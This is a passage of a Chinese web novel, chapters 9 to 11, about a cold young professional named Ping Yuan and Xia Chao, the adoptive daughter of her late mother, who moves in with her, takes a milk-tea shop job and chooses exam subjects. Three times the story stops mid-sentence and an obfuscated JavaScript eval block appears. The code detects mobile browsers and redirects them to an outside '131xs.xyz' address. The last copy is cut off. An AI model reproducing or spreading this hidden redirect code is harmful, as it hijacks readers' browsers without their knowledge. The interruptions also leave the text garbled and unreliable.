她的睫毛生得好,长而直,像两排细密的直线,垂眸时尾端轻颤,投下一小片羽毛状的淡影,看着很是柔弱。 但她抬起眼睛时,那目光又会被平直的睫毛衬得很专注,仿佛此刻她全神贯注、满心满眼都是你。 汤的香气又升起来了,乳白的热气丝丝袅袅地晕散了痕迹。夏潮看着她,蓦地心头一动。 随后,就听见平原冷冷地说:“别叫我姐姐。” ……果然是错觉。 平原还是那个平原,高傲漂亮,像一株生长在钢筋森林里的雪杉。任谁都不会把她和夏玲口中粉雕玉琢的小女孩联系在一起。 更不会让人想到,她从小就挑食。 夏潮看着她,想起刚刚平原坐在她对面喝汤,一本正经地垂着眼睛,喝汤时会把汤轻轻吹凉,再像猫一样只尝一点点。 猫舌头啊。她想起夏玲小时候骂她吃饭慢的话,心里某个地方,被热汤泡过一样悄悄地有点软。 于是她也不生气平原的冷言冷语了,抬起头,没头没脑地问:“我可以叫你圆圆吗?” 平原不轻不重地拍了她脑袋一下。 一晚上忍了又忍,终于还是下手了。她抬头,想都不想地拒绝:“不可以。” “没大没小。” 她手指的触感停留在夏潮后脑勺,夏潮觉得自己的脑袋变成了一只西瓜,拍一下,就发出蓬一声响。 脑袋真进水了啊。怎么有人被骂了还在傻乐? 嘴角还未放下。夏潮夹了菜,一边嚼一边困惑思考,像只仓鼠,每嚼一下,望着平原的眼睛就一眨巴。 但罪魁祸首已经扭过头去,似乎也有些别扭,轻咳一声,不再看她。 9. 入场券 吃完饭夏潮自告奋勇去洗碗。 倒不是她天生爱当保姆。只是一想到昨天立刻搬走的夸口言犹在耳,待会她就得厚着脸皮问能不能暂住,很难不让人觉得脸上滚烫。 她思来想去,还是觉得先干点活积极表现一下。伸手不打笑脸人嘛,小时候让她妈给她不及格的数学试卷签字的老招数,她懂,她懂得不行。 她小心翼翼地把一个个碗碟摞起来,再小心翼翼地端进厨房。平原看着她,觉得这小孩忽然就低眉顺眼的,跟干了什么亏心事似的。 无事献殷勤,非奸即盗。她起身,走过去,从夏潮手里接过一个碗。 夏潮果然吓了一跳:“诶?不用不用,你放着,我来洗就好。”毕竟待会还得有求于你呢。 “我不洗,”平原语气平淡地说,“家里有洗碗机。” “哦,”夏潮乖巧地眨巴眼睛,“洗碗机是什么?” “……” 平原中译中:“就是洗碗的机器。” 她给她操作示意,拉开推拉门,把碗碟勺分门别类码进去,再放入洗碗凝珠。 夏潮聚精会神地学习,放珐琅锅的时候平原好像忘记了它的重量,手不小心滑了一下,她眼疾手快托住,心说这些厨具真是从头到脚都写着和平原不熟。 她长得比平原高点,扑过去抢救的动作让她正好俯了点身,又看见平原低垂的眼睫毛闪了闪,露出一点不高兴的神色。 破小孩,长这么高干什么。她在心里嘀咕。 其实她不算矮,一米六七的个子,比例好,穿衣服总是被人夸衣架子。但比例再好也架不住现在的小孩个子跟旱地拔葱似的,平原觉得夏潮目测能有一米七往上了,比她高了小半个头。 很奇怪,她平日也不是在意这种高低先后的人,但到了夏潮这儿,这七八公分的高度莫名就叫人在意起来了,像她低了人家一头似的。 低谁一头都可以,低夏潮一头,不行。 平原抬眼看她,夏潮还在傻乎乎地等她发话,眼睛写满清澈,让人看着就烦。 她索性使唤她:“坐。” “噢。”乖乖地坐下了。 现在这个高度让人高兴多了,平原满意地看她一眼,又吩咐:“你去把西瓜切了。” ? 所以刚刚让人坐下干什么。夏潮心想,却又敢怒不敢言。 她老实地应了一声好,站起来去切西瓜。 一副指哪打哪的狗腿样,让平原一拳打在棉花上,表情却反而更憋屈了。 夏潮余光瞥见她垂下眼睫毛,嘴却飞快地撇了一下。 动作很快,腮帮子像鼓起的白年糕泡泡,糯糯的,啪地就瘪了。 ——怎么听话也要不高兴啊!夏潮心里哀嚎,想了想,决定还是装没看见吧。 以免平原又要生气。 她把西瓜捧到案板上,开始找西瓜刀。平原家连刀具都是一整套的,不像以前家里只有一把大菜刀。初中的时候不懂事,还用切过蒜的刀切西瓜,又挨了她妈狠狠一顿臭骂。 哎呀……怎么自己总是在挨骂。她心虚地抿了抿唇。 不过呢,看见平原过得好,她就放心了。她妈临终之前还念叨,要她好好照顾她姐呢。 水果刀崭新得锃光瓦亮,她拿起来一劈。咔,西瓜裂成两半,空气中都是清香。 鲜红鲜红的瓜瓤很是惹眼,她把西瓜切成小块,堆进碗里,递给平原。 平原用水果叉叉起一块,忽然有点奇怪:“你不吃吗?” 夏潮很不好意思的转身,露出桌面两块碧绿碧绿的瓜皮。 “我刚刚没忍住先吃了两块,”她心虚地笑眼弯弯,不忘回味,“挺甜的嘿。” 给点颜色就灿烂。 平原面无表情:“你坐过来吃吧。” 夏潮就屁颠屁颠地过来了,平原往自己嘴里塞了一块,眯起眼睛。唔,确实好吃,脆甜冰凉,是个好瓜。 她给夏潮也叉了一块。夏潮受宠若惊。 下一秒就听见平原问:“今天都干了些什么?” 她再一次受宠若惊:“今天出去转了转。” “去了人才市场。”想到白天碰的壁,她忍不住愁眉苦脸。 “找工作?”平原一猜一个准,“找到了吗?” 想也是没有,不然现在不会这样长吁短叹。平原在心里盘算——这简直就是对小孩进行社会教育的最佳时刻! 先告诉她这年头竞争激烈,端茶递水都有一群人抢着干,再告诉她没大学文凭,连办公室的门都朝哪开都不知道,只能去扫大街。想到这里,平原第一次努力弯了弯嘴角,摆出一副让人如沐春风的表情看夏潮。 “没找到。”答案果然如她所料。 “但是回来的路上找到了,”夏潮说,掰手指头数了数,“月薪四到六千,不包食宿,每周单休。” “……什么工作?” “摇奶茶。”乐呵呵的语气。 笑容凝固在平原嘴角,她就说哪来的黑工,发的工资和她的奖金差不多。 原来还真是端茶递水的活,平原心想。 她没意识到自己淡淡的轻蔑,或者是,这轻蔑早就刻进她的骨子里,成为她生存的箴言。 在福利院长大的孩子,从小就要学会用竞争证明自己的价值。小时候争领养人的青睐,争饭后加餐的鸡腿,长大了就争成绩,争比赛,争一切能让往上爬的机会。 对失败者的轻蔑是必须的。因为输的结果,本身就很惨痛。 平原记得初中的时候,学校有一个到市里去比赛的名额,她报了名,但班主任却为了稳妥,把名额直接内定给班上另一个女生陆妙妙。 陆妙妙确实聪明漂亮,书香世家,气质像只天鹅,但她不服气。 不是不服陆妙妙,而是不服机会被剥夺。 所以某天下课路过办公室,听见老师在给陆妙妙开小灶讲稿子,她鬼使神差地停下脚步,躲在门外,把内容都偷听了去。 很简单嘛,她记东西一向轻松,小灶的那些内容一下子就懂了。她花了一节体育课,按自己的想法写了一版稿子,觉得自己这篇比陆妙妙的八股文好多了。 她自信满满,带着它敲开班主任的门,说她也想参加选拔。 她还记得,起初班主任不置可否,只是说,那把你的讲稿讲一遍吧。 于是她开始演讲,因为听过陆妙妙的,所以她在自己讲稿里对前者的逻辑漏洞都做了梳理,自认妙语连珠,表现得非常好。 但班主任的脸色却变了。平原。他喊她的名字,脸色难看地说,说你小小年纪,心思太重了。 老师不希望有你这种工于心计的学生。 她被请出去了。一周之后选拔赛开始,她坐在观众席里,看陆妙妙穿着公主裙,面带微笑,妙语连珠。 然后,声音甜甜地说出了平原写的论点。 她记得自己那一刻手脚冰凉。 比赛结束之后她才知道,原来班主任就是陆妙妙的叔叔。陆妙妙的讲稿就是他写的,而她没头没脑地撞到他面前,相当于把他的文章从头到尾刺了一遍。 多可笑。 更可笑的是,最后陆妙妙也没能拿奖。 因为她的表演太过流利了,校外专家怀疑她透题背稿,将她当场批得脸又青又白。 平原还记得自己经过后台的时候,看见平日像天鹅一样骄傲的女孩子哭成泪人儿,关心她的老师、同学,全都众星拱月地围在她身边。 她哭就不会有这么多人哄。平原往里看了一眼,正好和陆妙妙对上视线,被她眼眶红红地瞪了一眼。 两个十四岁的女孩子眼中都有微妙的恶意和难堪。很多年后平原才意识到,其实十三四岁的陆妙妙又懂什么呢?她也只是顺应大人的要求,上去表演了一篇稿子而已。 她们都是形式主义下的牺牲品。 但十四岁的平原不懂。她只是怨恨自己没有赢。自己有什么资格对陆妙妙心软啊?没有入场券的输家,连哭的资格都没有。 机会是要争抢的,哪怕撕咬的样子再难看。从今往后,她将这句话刻进了心底,一路拼死搏杀,终于走到今天的位置。 顶尖的学历、光鲜的工作和薪酬,这些年桩桩件件都在验证她的正确。因此,二十七岁的平原也不明白,夏潮怎么能毫无羞耻心地将“摇奶茶”这句话快快乐乐地说出来? 她看着夏潮,终于问出口:“你真的不复读了吗?” 平原的声音变冷了,夏潮抬头,看了她一眼。 她有一些惊讶,想了想,轻声问道:“为什么你一定要读书呢?” 为什么呢? 这个问题傻得让人惊讶。这个社会竞争多激烈,如果一个人没有家世没有资源,更得不到命运的偏爱,想要出人头地,不去挤千军万马的独木桥,拿什么证明自己的价值? 哦,夏潮或许曾经有过偏爱,但现在也没有了。平原心想,意识到自己冷冷的残忍。 这种感觉让她不快,就像当年看见路妙妙哭。她皱起眉,终于反问:“你究竟想说什么?” 夏潮摇摇头,却只是说:“我只是想问问你,为什么一定要读书。” 她轻声:“我知道分数是最接近公平的选拔。但是,世界上还有很多人,没有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345700|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么好的教育条件,考不上那么好的大学,那她们读书,有意义吗?” 她再次重复:“我不明白你想说什么。” “嗯……”夏潮低头对对手指,思忖该如何措辞,“我就是觉得,我们是应该认识规则,因为很多东西是没法改变的。” 就像去面试,人家瞧不上她的学历,她也只能心服口服。 “但我也不认为输掉的人就没有价值了,”她低声说,声音变柔了,“平常人也有平常人的价值和幸福。如果世界觉得她们没有价值,那就是世界错了。” “如果世界总是要逼一个人头破血流地争取,又在失败之后嘲笑她,那就是这个世界太坏了。” “命运又不是人能决定的,怎么可以一直要求一个人只能赢不能输呢,那太不公平了。” “只要去做了就很了不起,”她不知道为什么又开始气鼓鼓,“总之,无论如何都不是那个人的错。” 平原愣住了,她意识到夏潮在替自己说话。 她当然没有告诉夏潮自己曾经的事情,但是,眼前的女孩子,此刻竟然敏感地领悟了。 自己是什么时候暴露破绽的?是刚刚那句僵硬的话,还是一见面,她浑身竖起的尖刺,就已让夏潮有所察觉? 察觉就察觉吧,反正她抢走了自己的妈妈,她才是罪魁祸首——平原很想这样说。 但她说不出口。夏潮还在偷偷看她,注意到她的目光,小狗一样地露出了一个明亮的笑。 她又想起昨晚看的试卷。夏潮的语文分数是最高的,除了那些需要硬性背诵的古诗文言文,能做阅读理解的地方她都尽量填了,分数竟然意外的不错。 最惨烈的是数学和理科,公式定理这种东西,不懂就是不懂,任凭她绞尽脑汁,也只能交一张白卷。 平原能看出来,其实夏潮对待考试的态度挺认真的。 她又想起了夏玲的病。或许,夏潮放弃学业的时候,也有那样的不甘心吧? 不甘心就这样在这样残酷的命运面前认输,想恨,都找不到具体的人去恨,只能闷闷地说,是世界错了。 她明白她的心情。她们的过去和未来,在这一刻是重合的。 但夏潮的笑比她坦然。真不公平。平原又一次想,嘴角却轻轻地翘了起来。 她突然举起抱枕不轻不重地砸了夏潮一下,打断了她的肉麻:“那你学不学?” 夏潮被她砸得歪进沙发里:“我学,我学啊!” 她龇牙咧嘴:“这不是今天晚上做两菜一汤就为了这个事情嘛!哎!别砸、别砸!我就是没找到话头说!” 她可怜巴巴地瞧平原,用叠词加强信服度:“真的真的,我不会白住的,我会给你洗衣做饭交房租!” 真养田螺姑娘了啊!平原有点心虚了,最后色厉内荏地砸她一下:“别说得像我不做家务似的。” “痛!” 很混乱的笑闹,但两个人都心知肚明,她们对彼此也没有多熟悉。很快,她们就不约而同地沉默,知道刚才忽如其来的亢奋,是两个人都试图掩饰尴尬。 好吧。夏潮低下头瘪了瘪嘴,今晚之前,她确实在没再想读书的事情了。平原说得对,她对命运也感到茫然,像纸折的小船飘在水面,不知该到哪里去。 但平原却露出不甘心的表情。那些关于复读的话,与其说是质问她,不如说是在质问另一条河流的自己:你怎么可以放弃? 她的声音像玻璃珠子一样碎裂在她的心上。那一个瞬间,夏潮有点想问——你是把我当妹妹了吗? 但是她不敢,怕平原又抽她。 于是她只能眼巴巴看着平原站起来,伸了个懒腰。 “今天就先到这里吧,周末我再抽空看你各科的问题,”她又恢复了冷冷的音色,“你要去洗澡吗?” 话题跳跃好大,夏潮懵懵地摇头:“我还想吃西瓜。” “那我先去。” 夏潮目送她走到浴室门口,却看见她忽然停下,回头望她。 “你说得对,这个世界挺操蛋的,”她平静地说,神色闲散,“但我没你想得那么可怜。” “有些时候忍耐规则,是为了让规则都听我的。” 这是她第一次在夏潮面前这样外放张扬地表达态度。夏潮抬头,看见浴室的灯光照亮她的脸,半明半暗,像黄昏又像夜晚。 然后夜晚一笑,转身,关上了浴室门。 一块没叉稳的西瓜,啪嗒,又掉进碟子里。 好帅啊。真正的中二少女夏潮目瞪口呆地看着紧闭的浴室门,抱紧抱枕星星眼。 这才是成熟的大人应该说的话! 10. 不摘星 很快就是周末,夏潮紧锣密鼓地把健康证办完,周一就去摇奶茶上班了。 暑假正是奶茶店生意红火的时候。店里原本有四个人,但其中一个店员因为太辛苦,卷铺盖跑路了,店长不得不顶上。 她这几天摇得眼冒金星,看见夏潮简直要泪流满面,抓着她嘘暖问寒,狠狠地让夏潮感受了一把家的温暖。 然后就轮到夏潮开始地狱般的工作。 店里资历最老的员工叫小珍,只比夏潮大一岁,大眼睛翘下巴,脾气火爆像个小辣椒。据说她原名方盼娣,因为讨厌这个名字,初中毕业出来打工后,就把名字改成了方宝珍。 但总有不长眼的人招惹她,盼娣盼娣的喊,被小珍横挑鼻子竖挑眼的骂时,又嘻嘻笑笑地说只是玩笑。 夏潮不喜欢这样。以前初中不少女生家里都几个姐姐拉扯一个弟弟的情况。女孩子的名字总是取得随便些,男孩的名字倒个个都奔着光宗耀祖去。 有人嘲笑过她的名字像个假小子,还有人笑她跟她妈姓,一定是她爸不要她了。 夏潮把白眼翻上天灵盖,真想让两边打一架——又嫌她名字像男人,又笑她随她妈姓,怎么?妈妈不是女人吗? 她是她妈捡的,她就要跟她妈姓。她名字女人得很。 不过这些话她也懒得跟他们理论,谁叫她从小就是打架大王,一拳一根豆芽菜,很快就没人敢说这些屁话。 可惜上班不能打客人。夏潮撇嘴,转过头认认真真地只管小珍叫小珍。 小珍对此表示非常欣赏。 新来的员工通常先从备料做起,再慢慢熟悉配方。但是因为暑假太忙,夏潮不得不两样一起上,上班第一天,就锤柠檬锤到肱二头肌痛。 同事小珍沉痛地拍着肩膀提醒她:“记得左右手换着锤,不然变成这个。” 她举起手机,给夏潮看了一张表情包,图里螃蟹左钳麒麟臂,右钳肌无力。夏潮大惊失色,从此恨不得每半个小时就换一次手。 小珍被她紧张的态度逗得嘎嘎直笑,又教她怎么给讨厌的客人打空心冰淇淋。 托她的福,夏潮很快摇奶茶就摇成一把好手。 倒是高考复读这件事,让她抓耳挠腮。下班的晚上,她和平原一起看卷子,被平原问新高考的选科。 夏潮却问:“还有旧高考?” 她实打实的困惑让平原深深地心梗了一下,再次意识到自己的高考已经是九年前的老黄历了。 呵呵,真讨厌现在的年轻人。她面无表情,人机一样吐出名词解释:“旧高考就是文理不分科,文科政史地,理科物化生。” “哦……”夏潮点点头,开始掰手指头数数,“那我们新高考就是3+1+2,语数英是必选的,然后物理历史二选一,地理化学生物三选二,我选的是……” 平原打断她:“你不用考虑自己之前选的是什么。” 她眯了眯眼睛,一如既往的刻薄:“因为你以前的基础相当于没有。” 夏潮差点给她直白的话给气撅过去。 但她也不得不承认,平原确实刻薄到点子上了。夏潮深呼吸,她的优点就是在觉得别人有道理的时,不会发脾气。 于是她用一副任你捏圆搓扁的好脾气口吻问:“那你觉得我适合选什么科目?” “你对文科感兴趣吗?不是科目,而是专业,类似……”平原思考了一下,“法律、政治、哲学、汉语言。” 报菜名报得夏潮一听就晕了,她本能摇头:“不太感兴趣。” “为什么?” “晕方块字。” 她快言快语,说完才意识到自己又像个文盲了,赶紧补救:“呃,我的意思不说我不识字,就是我搞不懂政治历史那些意义啊目的啊之类的,我觉得一件事干了就是干了,扯那么多做什么呢……” 听起来更文盲了啊!她挣扎:“我的意思是,我觉得它们一句话有好多意思,我不太能听懂……” 越描越黑。她绝望地承认:“我学不会文科。” 好丢脸啊。她耻辱地想,她就觉得人类世界好复杂。 平原却突然点了点头:“我懂。” 高二分文理的时候,她毫不犹豫地就选了理科,哪怕她原本各科成绩都名列前茅,只是因为她讨厌揣摩人的心思,讨厌去理解所谓社会、历史的结构。 这样的抗拒无关科目本身,只是纯粹地来自她的个人喜恶。 她记得小时候,那个企业仍会一掷千金争夺央台广告标王的电视时代,各方企业为了提高社会声誉,最喜欢来福利院捐助搞什么资助典礼。最经典的场景就是一个意气风发西装革履的老板站在台上,福利院的小孩一个个上台握手、鞠躬,讲一下客套无聊的场面话,最后排成一排,横幅一举,彩带纸片漫天飞舞,底下电视台的长枪短炮开始咔咔直拍。 而她从小学习好,长得漂亮,身世又悲惨,总被挑上去做发言的那一个。主持人问她长大的理想是什么,她在台上面带微笑一字一句地讲“好好学习,建设未来”,转头就在日记本写“人类毁灭”。 她当然没有什么反社会人格,只是觉得每一次上台都很难堪。为什么她的病、她的悲惨事迹总要公开展览人人观看?为什么她就要为了个上学的机会一次次鞠躬感谢?为什么每天轿车接送的同学们却从不需要感激这些? 为什么她总是要当被可怜的那一个? 孩子的世界简单又残忍,她那个时候不懂这也是一种形式主义,只是觉得人很虚伪。 面带笑容在福利院等着被挑选很讨厌,穿着不合身的土红色棉服上台表演感激涕零也很讨厌,假装自己对一切伤害都不在乎更讨厌。 她没兴趣研究人类社会,没有兴趣去理解一场慈善作秀,背后有着怎样的社会病症与权力斡旋。 她宁愿埋首在物理题里,起码数字与公式永远简洁优美,不为人情世故所干扰。 不过这些她是不会告诉夏潮的,平原不动声色地想。 于是,夏潮看过去时,只能看见平原平静的神色。 她的眼睛很美,半眯着看人的时候又冷又媚,带着一丝审视,又带着一丝懒洋洋的不在意。 夏潮突然想问:“姐姐,你是不是喜欢物理啊?” 那双好看的眼睛有些惊讶地圆睁了。平原问:“为什么这么说?” “因为觉得物理很符合你的气质啊,很精确,很理性,很……”她思考了一下措辞,“很优美。” 还有一个点她没说。那就是她觉得平原很漂亮,一看就是脑瓜子很聪明、能帅气解开好多难题的漂亮。 不过这句话太幼稚了,她不好意思说。夏潮在心里轻轻地想。以前她同桌的姐姐在外地读大学,她就每天都要被同桌姐姐长姐姐短的烦,好像天底下就她姐最牛似的。 那时她听着可烦了,每次同桌一开腔,她就毫不客气地打断,说是你姐读大学又不是你读大学,你牛个什么劲儿?同桌就反唇相讥说你嫉妒我! 现在她开始理解她同桌了。 有一个很好很厉害很漂亮的姐姐,就是很值得炫耀啊!浑然不知自己已经开始被美貌俘虏的夏潮同学如是想,用崇拜的眼神看向平原。 她亮闪闪的热切眼神让平原不自在地咳了一下。明明自己什么都还没有说,这小孩崇拜个什么劲儿啊。 她脸有点发热,难得地忘记纠结她喊自己姐姐的这件事,点点头,惜字如金地回:“嗯。” 停一停,她又问:“那你喜欢什么?” 考虑到夏潮的学业水平,她又补充:“不考虑容不容易学,只考虑感兴趣。” 夏潮想了想:“物理和地理吧。” 这个回答倒是让平原有些惊讶:“为什么?” “嗯……”夏潮咬了咬嘴唇,她思考的时候总忍不住仰头望天看,这个动作配上她明亮的眼睛,便有一种天真的少年气,“物理的话,是因为它学起来很漂亮吧。” 一种一是一,二就是二的精确的漂亮。 她回忆记忆里生锈的那些词汇:“牛顿第一定律说……物体不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345701|183517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受外力作用的时候,会保持静止或匀速运动,所以,如果我们把摩擦什么的阻力都抽走,你轻轻推一个小球,它就会永远地沿着一条直线向前进。” “反过来说,一个小球如果处于……受力平衡的状态,那么不管它承受的力量有多大,不管它是在地上,水里,还是外太空,只要平衡不被打破,它就会永远地静止在那里。” “很了不起啊,”她神往地说,“这个定律,居然放在世界上每一个东西上都行得通,整个宇宙都好像在相对的静止,然后永恒地运动。” “但只有人,把宇宙的规律写成了定理。我觉得很浪漫。” 她亮晶晶的眼神让平原一瞬间哑然。 眼前的女孩子未必多了解物理。不如说,从她磕磕绊绊的用词就知道,她的物理只有她妈病重前的那一段学得还算好。 但偏偏她说对了,世间万物就是这样简单的静止与运动。最简单的定理,规定了物理学,规定了世界的存在方式,最后渗透到哲学这种无法被触碰的人类意识中,如此简洁精确、颠扑不破,让那位物理学的奠基者最终都信了神。 宇宙的定理是孤寂的、冷酷的,规定了世间的一切,像一颗永恒高悬的明星,不以任何人的意志为转移。 这样的理解曾经是平原的避风港,她用这种超然物外的、公平又冷酷的视角,嘲笑过自己所承受的命运不公,用这些公式将自己和这个庸俗的、让人不得不一次次低头的现实世界区隔开。 而夏潮竟眼睛亮闪闪,说这很浪漫。 平原真恨自己,有一瞬间,她甚至想假装自己不懂她在说什么。 但她偏偏领悟一切,甚至比说这句话的人还要清楚。她知道夏潮的意思,她想说真理是一颗永远无法被摘下的星。但是,不能摘下那颗星星又有什么所谓?人类总能对着光亮的浮尘幻想太阳。 平原看见的是星星,而夏潮看见的,是世界上有无数个试图理解星星的人。 平原垂下眼睛,有些不甘心地承认,夏潮或许真的有天赋,与自己不同的、奇异的天赋,因为她懂得如何在冷酷的现实中爱人。 真嫉妒。她不动声色地眨了眨眼睛,什么也没有说,只是轻轻问:“那地理呢?” “地理的话,”夏潮思忖,“喜欢地理是因为会让人觉得世界很大吧,地球上居然会有那么多个时区,不同的地方原来白天和黑夜也不一样长,而同一时间,地球居然会一半是冬天,一半是夏天。” “物理天体运动那章我也挺喜欢的。”她小声说。 可惜那时她不再去上课,只能在下午的医院,对着阳光里旋转飞舞的尘埃发呆。 “我记得我们还学了……”夏潮试图思索那个科学家的名字,有些迟疑,“开……开小灶?” “……开普勒。” “对对对,开普勒,”她用力点头,眼睛又流露出“你好厉害”的神色,“想到宇宙所有的星星都在旋转,就觉得好浪漫。” 平原又觉得自己脸上有些发热了。 她真有点受不了,这小孩怎么跟小狗似的,她一句话都没说呢,夏潮就已经恨不得摇头摆尾转起圈来。 自己是肉骨头吗。平原默默地想,又摇头。 不行,太香喷喷了,听着就不够酷。 不过总算讨论出结果了。她抽出一张纸,边写边说:“这样吧,既然你对文科不感兴趣的话,物理历史二选一,肯定选物理。” “至于最后的四选二……”她思忖,细长的手指带动笔尖打了个圈,“地理先待定,剩下一门学科,我找朋友问问,看看怎么选科对专业有优势。” “现在听着你还蛮适合去研究流体力学的,”她难得没忍住,嘴里不切实际地幻想了一下,“去造一下无人机或者大飞机。” “流体力学是什么?” “……”平原闭嘴了,什么天体物理流体力学啊,整这些高深莫测的干什么? 这小孩现在接触最多的流体估计是奶茶。 不如先想想如何挽救文盲儿童吧。 11. 冰气泡 平原不再废话什么流体力学,把纸递给她:“等你物理考过80分再听我解释,现在我们先把基础打好,好吗?” 夏潮点头,认认真真把纸接过来,迟疑了一下,在上面写了个“好”。 “写字干什么。” “诶,”她抬头,指了指纸片,“我看到你写了个‘ok?’,以为你要我也签字确认。” 白皙指尖落在纸上,正好是刚刚平原问“好吗”的时候,随手写的字。 还以为平原要她签字画押呢。夏潮心里嘀咕。 望着夏潮很是无辜的神色。平原觉得自己的脸又有些红了。 她确实有个习惯,高中的时候不爱和人说话,就总忍不住在草稿纸上随手写一点啥。 没想到这么久没碰纸笔了,这幼稚的坏习惯还保留着。 她有点不自在地咳嗽了一声:“又不是叫你签字画押!” 夏潮觉得自己被她瞪了一眼。平原的面颊微微地粉着,削弱了她生气表情的杀伤力,嗔怒也像薄薄的春雪,指尖轻触,就融化若有似无的冰。 但她还是觉得要识时务者为俊杰,很诚恳地道歉:“对不起。” “……不用对不起。”显得她很像欺负小孩。 平原觉得自己今晚不能再跟夏潮说话了,情绪起伏太大,显得自己不稳重、不成熟。 于是她端起姐姐的威严,指挥她:“你去洗澡。” 这是一个很突然的话题转折,夏潮有点困惑:“你不洗吗?” 昨天还是她说要先洗澡的。 “不洗,我要玩手机。”平原理直气壮地说,开始破罐子破摔地耍赖,“你是小孩,你不能玩手机。” 霸道得幼稚的一句话。 夏潮发出一声温柔的笑音,只有她自己听到。这笑让她自己也有些意外,但也没多想,只是好脾气地问:“要不要帮你把西瓜切了?” 轮到平原一愣,抬头看她。 她今天回家时也买了半拉西瓜。自从夏潮开始做饭,她便也每天下班前手里都带点东西。 有时候是新切的西瓜,有时候是一捧青提,几个橘子,或是刚出炉的桂花糕。两个人住的好处总是这样,不方便过夜的事物,就分享着吃掉。 但她这一刻怔愣当然不是为西瓜,而是因为夏潮的这句话。 少女站在灯光下,漆黑的长头发扎得利落又随性,夏潮生的端正,说话的时候笑眼弯弯,很有些少女温柔的甜意。 但眉目又有些飞扬的神采,专注看人时,有一种明亮从容的英气,仿佛满心满眼都是她。 自己果然还是独来独往惯了。平原想,不然怎么蓦地被关心,就总觉得有些不自在? 像是手脚都有点不知道该往哪里放了。 她轻轻地咬了咬嘴唇,对这种感觉有些不安,摇摇头还是说:“不用了,你去洗吧。” “西瓜我自己切。” “好。” 浴室里便响起下雨的声音。地理课本上的热带季风,悄无声息地盘旋在这间小小的客厅。 平原支起下巴,轻轻松了口气,拿出手机,决定现在就问一下朋友高考选课的问题。 她的微信有两个账号,一个是工作账号,主要是客户和同事,另一个是私人账号,里头加的都是关系不错的朋友,或是读书时的同学。 人数寥寥无几,孤家寡人就是这点好处。平原自嘲地笑,发朋友圈是不用考虑屏蔽家人,因为没有。 找人也很方便,私人账号的小红点不多,她往下一划拉,就看见了朋友的对话框。 【我拍了拍Mirror说她就是世上最美的女人】 【好想睡觉:镜小姐,怎么一天改八百回拍一拍】 【Mirror:有意见?】 【好想睡觉:没意见。】 【好想睡觉:你是不是有个侄女今年高考毕业来着?】 【Mirror:对啊】 【好想睡觉:能不能借给我,我问一下高考相关的事情,再借她的高考资料看看】 【Mirror:可以啊……但是等下。】 【Mirror:你怎么研究起高考的事情来了?谁要读高三了?】 对面是她大学就认识的朋友,七八年的交情了,对方早就知道她是福利院出身,身边根本没有所谓的亲戚朋友。平原心虚地咳嗽了一下,继续打字。 【好想睡觉:我有个快高考的妹妹。】 对面回得飞快。 【Mirror:哪种妹妹。‘她只是我的妹妹~’的那种妹妹?】 【好想睡觉:不是那种妹妹……我们是很正经的关系。】 【Mirror:有多正经,有血缘关系那么正经吗?】 【好想睡觉:……没有。】 【Mirror:这不还是那种妹妹!好啊你平原!平时不声不响的,七八年不谈一次恋爱,原来憋在这里了啊!】 【好想睡觉:都说我们不是那种关系!】 【Mirror:那你先告诉我,你们之间差几岁?】 平原沉默,明明知道答案,还是在心里又一次做了计算:“九岁。” 对面也沉默,半分钟之后,发来一段慷慨激昂的语音。 【Mirror:衣冠禽兽啊!如实交代!怎么认识的!网恋?挤眼?酒吧419?是你去人家高中门口蹲守的,还是人家去你办公室楼下堵你!】 越说越没谱了。平原从“衣冠禽兽”三个字开始手忙脚乱戴耳机,此后每个词都是重量级。她瞥了一眼浴室,发现里头水声未停,才抓起手机压低声音怒骂:“朱辞镜你别把自己那套套我身上!” 她深呼吸三次,胸腔剧烈起伏,才平复下心情,开始打字解释。 【好想睡觉:她是我妈的养女,我妈去世之后来投靠我。】 朱辞镜算是她关系最密切的朋友了,知道夏玲的事,但了解不多。平原想了想,惜字如金地补了句解释:“本质还是陌生人,过个暑假就走。” 【Mirror:……切】 平原几乎可以想象出朱辞镜大失所望的模样。失去八卦的她就像失去了人生动力,一下子就老实安分了。 平原才懒得管她这幅死气沉沉的样子,再次提醒她:“记得问问你的侄女哈。” “知道了,”对面有气无力地回,“真没意思,还侄女呢,我看你才是最侄女的那一个。” 平原被她逗笑了。她这个朋友有种奇怪的魔力,就是她不开心的表情,总会让别人很开心。 夏潮从浴室出来的时候,看见的就是她懒懒散散地窝在沙发上,半举着手机在耳边听,脸上了点促狭又温柔的笑意。 这笑容很新,是她从未看见过的表情,漂亮得叫人移不开眼睛。 但夏潮还是移开了。长久地盯着一个毫无察觉的人是不礼貌的,她这样想,心里又忍不住有点在意,究竟是谁能让平原笑得这样开心。 应该是关系很密切的人吧。 夏潮安静地站在浴室门口,一直到平原回完对面的话,嘴角含笑地放下手机,才轻轻地清了清嗓子:“我洗完了。” 平原果然抬起头,表情有些许诧异。夏潮有点抱歉:“我是不是忽然吓着你了?” 她摇摇头。 她倒是没这么容易吓到。浴室的花洒一直在哗哗地响,听到水声停下时她就知道夏潮快洗完了。 让她没想到是夏潮就这样远远地站在浴室门口,安安静静等她发完消息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 